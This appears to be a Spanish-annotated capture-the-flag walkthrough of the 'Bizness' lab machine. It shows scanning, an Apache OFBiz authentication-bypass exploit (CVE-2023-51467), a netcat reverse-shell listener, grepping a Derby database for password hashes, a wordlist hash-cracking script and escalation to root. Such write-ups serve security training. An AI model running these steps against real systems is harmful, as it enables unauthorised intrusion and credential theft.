

nmap

```
nmap -sC -sV 10.10.11.252
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-13 21:14 CET
Nmap scan report for 10.10.11.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http      nginx 1.18.0
|_ http-title: Did not follow redirect to https://bizness.htb/
|_ http-server-header: nginx/1.18.0
443/tcp    open  ssl/http  nginx 1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_ Not valid after: 2328-11-10T20:03:40
|_ http-title: Did not follow redirect to https://bizness.htb/
|_ http-server-header: nginx/1.18.0
|_ ssl-date: TLS randomness does not represent time
|_ tls-nextprotoneg:
|_ http/1.1
|_ tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.05 seconds
```

/etc/hosts

```
echo "10.10.11.252    bizness.htb" >> /etc/hosts
```

```
dirsearch -u https://bizness.htb/ --exclude-status 403,404,500,502,400,401
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://
setuptools.pypa.io/en/latest/pkg_resources.html
    from pkg_resources import DistributionNotFound, VersionConflict
```

```
 _|. _ _  _  _ _|. _ _  _  v0.4.3
 (||| _ ) (_||| _ )
```

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/machines/Bizness/reports/https_bizness.htb/_24-02-13_22-02-37.txt

Target: https://bizness.htb/

```
[22:02:37] Starting:
[22:03:42] 302 - 0B - /accounting -> https://bizness.htb/accounting/
[22:04:40] 302 - 0B - /catalog -> https://bizness.htb/catalog/
[22:04:47] 302 - 0B - /common -> https://bizness.htb/common/
[22:04:56] 302 - 0B - /content/ -> https://bizness.htb/content/control/main
[22:04:56] 302 - 0B - /content/debug.log -> https://bizness.htb/content/control/main
[22:04:56] 302 - 0B - /content -> https://bizness.htb/content/
[22:04:56] 200 - 34KB - /control/
[22:04:56] 200 - 34KB - /control
[22:04:59] 200 - 11KB - /control/login
[22:05:15] 302 - 0B - /error -> https://bizness.htb/error/
[22:05:15] 302 - 0B - /example -> https://bizness.htb/example/
[22:05:34] 302 - 0B - /images -> https://bizness.htb/images/
[22:05:35] 302 - 0B - /index.jsp -> https://bizness.htb/control/main
[22:06:48] 200 - 21B - /solr/admin/file/?file=solrconfig.xml
[22:06:48] 302 - 0B - /solr/ -> https://bizness.htb/solr/control/checkLogin/
[22:06:48] 200 - 21B - /solr/admin/
```

Task Completed

#Vamos a https://bizness.htb/content/control/login

```
#Podemos ver la versión qde apache que se está ejecutando.
apache OFBiz exploit
#Buscamos en gogle.
#Vemos que hay un fallo que permite RCE (CVE-2023-51467)
#Buscamos el exploit y lo descargamos.
https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT/blob/main/CVE-2023-51467.py?source=post_page-----
b0045ddbc33a-----
#Vemos que es un script en python3.
git clone https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT.git
```

```
python3 CVE-2023-51467.py --url https://bizness.htb
```

```

  _____
 / _ _ \  // _ _ | _ \ / _ \ _ \  | _ _ / _ ||| // _ _ |
| | \ \ // | _ _ ) | | | | _ | _ | | | | _ // _ _ //
| | \ \ // | _ _ / | | | | _ | _ | | _ \ | _ | _ \ //
| _ _ \ / | _ _ // | | | | _ | _ | | | | | | | | | |
 \ _ _ \ / | _ _ | _ \ / _ \ / _ | _ / | | | _ \ /
```

Coded By: K3ysTr0K3R

[+] https://bizness.htb/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y - is vulnerable to CVE-2023-51467

exploit

#Buscamos un exploit para este CVE.

https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass?source=post_page-----b0045ddbc33a-----

#git clone <https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git>

```
nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.252] 34310
whoami
ofbiz
dir
APACHE2_HEADER DOCKER.md          INSTALL          runtime
applications docs                  lib              SECURITY.md
build          framework          LICENSE          settings.gradle
build.gradle   gradle              NOTICE          themes
common.gradle  gradle.properties          npm-shrinkwrap.json VERSION
config         gradlew              OPTIONAL_LIBRARIES
docker         gradlew.bat          plugins
Dockerfile     init-gradle-wrapper.bat README.adoc
cd /home
dir
ofbiz
cd ofbiz
dir
dirtypipez.c linpeas.sh pspy user.txt
cat user.txt
```

```
cd /opt
dir
ofbiz
cd ofbiz
dir
APACHE2_HEADER DOCKER.md          INSTALL          runtime
applications docs                  lib              SECURITY.md
build          framework          LICENSE          settings.gradle
build.gradle   gradle              NOTICE          themes
common.gradle  gradle.properties          npm-shrinkwrap.json VERSION
config         gradlew              OPTIONAL_LIBRARIES
docker         gradlew.bat          plugins
Dockerfile     init-gradle-wrapper.bat README.adoc
cd runtime
dir
catalina data indexes logs output tempfiles tmp
cd data
dir
derby derby.properties README
cd derbi
cd derby
ls
derby.log
ofbiz
ofbizolap
ofbiztenant
cd ofbiz
dir
dbex.lck log          seg0          tmp
db.lck  README_DO_NOT_TOUCH_FILES.txt service.properties
cd seg0
dir
cd /opt/ofbiz/framework/resources/templates
```

```
cat AdminUserLoginData.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
```

"License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at

<http://www.apache.org/licenses/LICENSE-2.0>

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

-->

<entity-engine-xml>

```
<UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a"
requirePasswordChange="Y"/>
<UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
```

cd /opt/ofbiz/runtime/data/derby/ofbiz/seg0

grep -arin -o -E '(\w\W+){0,5}password(\W+\w+){0,5}' .

```
grep -arin -o -E '(\w\W+){0,5}password(\W+\w+){0,5}' .
./c6010.dat:2:h.passwordSMTP Auth password setting
./c6850.dat:15:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:16:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:17:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:18:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:20:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:21:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:23:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla/5
./c6850.dat:24:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:25:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:27:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:28:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:29:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:30:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:31:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:32:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:33:E=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:34:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:35:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:36:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:37:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:38:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:39:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:40:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:43:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:44:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:45:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:47:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:83:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c6850.dat:85:E=Y&PASSWORD=Y&requirePasswordChange=Ypython-requests
./c5fa1.dat:4:PASSWORDSEPERATOR_LINESEPERATOR_TEXTSTATE_PROVINCE
./c180.dat:87:passwordVARCHAR
./c180.dat:87:PASSWORD&$c013800d-00fb-2649-07ec-000000134f30
./c180.dat:87:PASSWORDuserNampasswordVARCHAR
./c180.dat:87:PASSWORD&$c013800d-00fb-2649-07ec-000000134f30
./c180.dat:87:PASSWORDpasswordVARCHAR
./c54d0.dat:21:Password="{SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I}" enabled
```

#Tenemos la "sal" que le falta a nuestro hash.

#Vamos a utilizar un script en python3 para descifrar el hash.

#Formato: SHA256

#OJO, el hash tiene que ser HASH1

(Tendremos que cambiar el formato del hash)

```
hash = $SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=
```

https://hashes.com/es/tools/hash_identifier

#Usamos uno de los dos scripts

python3 script.py

Enter the hash: \$SHA1\$d\$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=

Path to the wordlist: /usr/share/wordlists/rockyou.txt

Found Password: monkeybizness, hash: \$SHA1\$d\$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=

python3 script2.py

```
import hashlib
import base64
import os

class texttohash:
    def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
        self.hash_type = hash_type
        self.pbkdf2_iterations = pbkdf2_iterations
    def crypt_bytes(self, salt, value):
        if not salt:
            salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
        hash_obj = hashlib.new(self.hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
        return result
    def get_crypted_bytes(self, salt, value):
        try:
            hash_obj = hashlib.new(self.hash_type)
            hash_obj.update(salt.encode('utf-8'))
            hash_obj.update(value)
            hashed_bytes = hash_obj.digest()
            return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
        except hashlib.NoSuchAlgorithmException as e:
            raise Exception(f"There is error happened :( {self.hash_type}: {e}")

hash_t = "SHA1"
salt = "d"
target_hash = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'
encryptor = texttohash(hash_t)
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))
with open(wordlist, 'r', encoding='latin-1') as password_list:
    for password in password_list:
        value = password.strip()
        hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
        if hashed_password == target_hash:
            print(f"We got the password:{value}, hash:{hashed_password}")
            break
```

We got the password:monkeybizness, hash:\$SHA1\$d\$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=

root

#passwd: monkeybizness

nc -nlvp 8080

listening on [any] 8080 ...

connect to [10.10.16.61] from (UNKNOWN) [10.10.11.252] 56670

su

monkeybizness

whoami

root